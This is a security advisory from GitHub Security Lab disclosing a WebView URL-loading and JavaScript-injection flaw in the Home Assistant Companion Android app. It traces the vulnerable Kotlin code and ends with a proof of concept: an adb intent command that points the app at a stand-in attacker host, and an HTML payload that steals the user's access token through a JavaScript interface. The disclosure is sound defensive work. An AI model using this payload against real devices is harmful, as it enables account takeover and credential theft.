Coordinated Disclosure Timeline

Summary

The Home Assistant Companion for Android app up to version 2023.6.0 is vulnerable to arbitrary URL loading in a WebView. This enables all sorts of attacks, including arbitrary JavaScript execution, limited native code execution, and credential theft.

Product

Home Assistant Companion for Android

Tested Version

2023.6.0

Details

Arbitrary URL load in Android WebView in MyActivity.kt (GHSL-2023-142)

The Home Assistant Companion for Android app declares an exported activity named MyActivity:

app/src/main/AndroidManifest.xml:279

<activity android:name=".launch.my.MyActivity"
    android:exported="true">
    <intent-filter android:autoVerify="true">
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />

        <data
            android:scheme="https"
            android:host="my.home-assistant.io"
            android:pathPrefix="/redirect/"/>
    </intent-filter>
</activity>

By analyzing the source code of this activity, it can be seen that it receives an arbitrary URL from an incoming Intent and loads it into a WebView:

app/src/main/java/io/homeassistant/companion/android/launch/my/MyActivity.kt:16

class MyActivity : BaseActivity() {

    companion object {
        val EXTRA_URI = "EXTRA_URI"

        // --snip--
    }

    @SuppressLint("SetJavaScriptEnabled")
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        val binding = ActivityMyBinding.inflate(layoutInflater)
        setContentView(binding.root)

        if (Intent.ACTION_VIEW == intent?.action && intent.data != null) {
            if (intent.data?.getQueryParameter("mobile")?.equals("1") == true) {
                finish()
                return
            }
            val newUri = intent.data!!.buildUpon().appendQueryParameter("mobile", "1").build()

            // --snip--

            binding.webview.apply {
                settings.javaScriptEnabled = true
                webViewClient = object : WebViewClient() {
                    override fun shouldOverrideUrlLoading(
                        view: WebView?,
                        request: WebResourceRequest?
                    ): Boolean {
                        val url = request?.url.toString()
                        if (url.startsWith("homeassistant://navigate/")) {
                            startActivity(WebViewActivity.newInstance(context, url.removePrefix("homeassistant://navigate/")))
                            finish()
                            return true
                        }
                        return false
                    }
                }
            }
            binding.webview.loadUrl(newUri.toString())
        }
    }
}

Note that this WebView not only enables JavaScript, but also overrides shouldOverrideUrlLoading, which takes the URL being loaded and, if it starts with homeassistant://navigate/, it removes that part and sends the rest to WebViewActivity.newInstance as the path argument.

This means that an attacker (in the form of a malicious or compromised application in the same device) could send an Intent to the MyActivity activity that loaded an arbitrary website in the WebView, and that website could execute JavaScript to force another redirection to a URL starting with homeassitant://navigate/. That way WebViewActivity would get started with an arbitrary path.

This is important because WebViewActivity exposes a lot of functionality, including another JavaScript-enabled WebView. To begin with, the URL loaded in this second WebView can be determined by the path Intent extra, if it contains an absolute URL and starts with http[s]://:

app/src/main/java/io/homeassistant/companion/android/webview/WebViewActivity.kt:1052

class WebViewActivity : BaseActivity(), io.homeassistant.companion.android.webview.WebView {

    companion object {
        const val EXTRA_PATH = "path"
        // --snip--

        fun newInstance(context: Context, path: String? = null, serverId: Int? = null): Intent {
            return Intent(context, WebViewActivity::class.java).apply {
                putExtra(EXTRA_PATH, path)
                putExtra(EXTRA_SERVER, serverId)
            }
        }
    }

    // --snip--

    override fun onWindowFocusChanged(hasFocus: Boolean) {
        super.onWindowFocusChanged(hasFocus)
        if (hasFocus && !isFinishing) {
            unlockAppIfNeeded()
            val path = intent.getStringExtra(EXTRA_PATH)
            presenter.onViewReady(path)
            // --snip--
        }
    }

presenter.onViewReady is called with the path obtained from the Intent, which dispatches to WebViewPresenterImpl.onViewReady:

app/src/main/java/io/homeassistant/companion/android/webview/WebViewPresenterImpl.kt:68

override fun onViewReady(path: String?) {
  mainScope.launch {
      val oldUrl = url
      val oldUrlForServer = urlForServer

      var server = serverManager.getServer(serverId)
      if (server == null) {
          setActiveServer(ServerManager.SERVER_ID_ACTIVE)
          server = serverManager.getServer(serverId)
      }

      // --snip--

      val serverConnectionInfo = server?.connection
      url = serverConnectionInfo?.getUrl(
          serverConnectionInfo.isInternal() || (serverConnectionInfo.prioritizeInternal && !DisabledLocationHandler.isLocationEnabled(view as Context))
      )
      urlForServer = server?.id

      if (path != null && !path.startsWith("entityId:")) {
          url = UrlUtil.handle(url, path)
      }

      // --snip--
      if (oldUrlForServer != urlForServer || oldUrl?.host != url?.host) {
          view.loadUrl(
              Uri.parse(url.toString())
                  .buildUpon()
                  .appendQueryParameter("external_auth", "1")
                  .build()
                  .toString(),
              oldUrlForServer == urlForServer
          )
      }
  }
}

Note that view.loadUrl is called with the result of UrlUtil.handle(url, path), which simply returns path if it’s determined to be an absolute URL:

common/src/main/java/io/homeassistant/companion/android/util/UrlUtil.kt:41

fun handle(base: URL?, input: String): URL? {
    return when {
        isAbsoluteUrl(input) -> {
            URL(input)
        }
        // --snip--
    }
}

fun isAbsoluteUrl(it: String?): Boolean {
    return Regex("^https?://").containsMatchIn(it.toString())
}

This would allow an attacker to redirect the WebView to an arbitrary URL, where any JavaScript code could be executed.

Also, it would be possible for an attacker to execute arbitrary JavaScript without redirecting the WebView, again using the path variable. Note that WebViewActivity.onWindowFocusChanged assigns it to the moreInfoEntity variable if it begins with entityId::

app/src/main/java/io/homeassistant/companion/android/webview/WebViewActivity.kt:1052

class WebViewActivity : BaseActivity(), io.homeassistant.companion.android.webview.WebView {

    // --snip--

    override fun onWindowFocusChanged(hasFocus: Boolean) {
        super.onWindowFocusChanged(hasFocus)
        if (hasFocus && !isFinishing) {
          unlockAppIfNeeded()
          val path = intent.getStringExtra(EXTRA_PATH)
          presenter.onViewReady(path)
          if (path?.startsWith("entityId:") == true) {
              moreInfoEntity = path.substringAfter("entityId:")
          }
          intent.removeExtra(EXTRA_PATH)

          // --snip--
        }
    }

And then moreInfoEntity is used in the onCreate method, by appending it without sanitization or validation to the string argument of WebView.evaluateJavascript:

app/src/main/java/io/homeassistant/companion/android/webview/WebViewActivity.kt:228

override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)

    binding = ActivityWebviewBinding.inflate(layoutInflater)
    // --snip--

    webView = binding.webview

    // --snip--

    webView.apply {
        // --snip--
        settings.javaScriptEnabled = true
        // -- snip--
        webViewClient = object : TLSWebViewClient(keyChainRepository) {
            // --snip--

            override fun onPageFinished(view: WebView?, url: String?) {
                // --snip--
                if (moreInfoEntity != "" && view?.progress == 100 && isConnected) {
                    ioScope.launch {
                        val owner = "onPageFinished:$moreInfoEntity"
                        if (moreInfoMutex.tryLock(owner)) {
                            delay(2000L)
                            Log.d(TAG, "More info entity: $moreInfoEntity")
                            webView.evaluateJavascript(
                                "document.querySelector(\"home-assistant\").dispatchEvent(new CustomEvent(\"hass-more-info\", { detail: { entityId: \"$moreInfoEntity\" }}))"
                            ) {
                                moreInfoMutex.unlock(owner)
                                moreInfoEntity = ""
                            }
                        }
                    }
                }
            }
  // --snip--
}

With these two methods, attackers are able to execute arbitrary JavaScript in this WebView. Note that this WebView adds several JavascriptInterfaces, which allows JavaScript to execute certain native code functions. An interesting one is getExternalAuth:

app/src/main/java/io/homeassistant/companion/android/webview/WebViewActivity.kt:590

@JavascriptInterface
fun getExternalAuth(payload: String) {
    JSONObject(payload).let {
        presenter.onGetExternalAuth(
            this@WebViewActivity,
            it.getString("callback"),
            it.has("force") && it.getBoolean("force")
        )
    }
}

It calls WebViewPresenterImpl.onGetExternalAuth, which constructs a JavaScript string directly using the callback attribute of the received payload (which is sent from the JavaScript running in the WebView) to pass it the result of retrieveExternalAuthentication, which basically returns the authentication token if external authentication is enabled:

app/src/main/java/io/homeassistant/companion/android/webview/WebViewPresenterImpl.kt:175

override fun onGetExternalAuth(context: Context, callback: String, force: Boolean) {
    mainScope.launch {
        try {
            view.setExternalAuth("$callback(true, ${serverManager.authenticationRepository(serverId).retrieveExternalAuthentication(force)})")
        } catch (e: Exception) {
            // --snip--
    }
}

This uses the string as an argument of WebView.setExternalAuth, which finally executes the JavaScript:

app/src/main/java/io/homeassistant/companion/android/webview/WebViewActivity.kt:1171

override fun setExternalAuth(script: String) {
    webView.post {
        webView.evaluateJavascript(script, null)
    }
}

That way, an attacker could pass an arbitrary function as callback to exfiltrate the user’s external authentication token.

Impact

This issue may lead to arbitrary JavaScript code execution in a WebView, limited native code execution, and credential theft.

Resources

As a local attacker (that is, a malicious or compromised application in the same device where Home Assistant Companion for Android is installed), an Intent targeting MyActivity can be used to start the attack:

adb shell am start -n io.homeassistant.companion.android.debug/io.homeassistant.companion.android.launch.my.MyActivity -d '"https://attacker.acme/exploit"' -a android.intent.action.VIEW

That would redirect the first WebView to https://attacker.acme/exploit, which could serve something like the following:

<html>
<head>
<script>
document.location = "homeassistant://navigate/entityId:\"}}));externalApp.getExternalAuth('{\"callback\": \"function func(a,b){alert(b.access_token);};func\", \"force\": \"true\"}');//";
</script>
</head>
<body>
<h1>Nothing to see here</h1>
</body>
</html>

Note how the redirection includes homeassistant://navigate/ to abuse shouldOverrideUrlLoading and reach WebViewActivity, and also that it then adds entityId: to exploit the Cross-Site Scripting. What comes after it is the payload, which after injection would look like the following (line breaks added for clarity):

document.querySelector("home-assistant").dispatchEvent(new CustomEvent("hass-more-info", {
  detail: {
    entityId: ""
  }
}));
externalApp.getExternalAuth('
  {
    "callback": "function func(a,b){ alert(b.access_token); }; func",
    "force": "true"
  }
');//}}))

Note that externalApp is the name of the JavaScript interface added to the WebView. Since callback is itself injected in another JavaScript code block, the final malicious code would look like the following:

function func(a, b) {
  alert(b.access_token);
}
func(true, { access_token: "(user access token)", expires_in: (expiration int) } )

This code displays the external authentication access token of the user in an alert dialog.

CVE

Credit

This issue was discovered and reported by the GitHub CodeQL team member @atorralba (Tony Torralba).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-142 in any communication regarding this issue.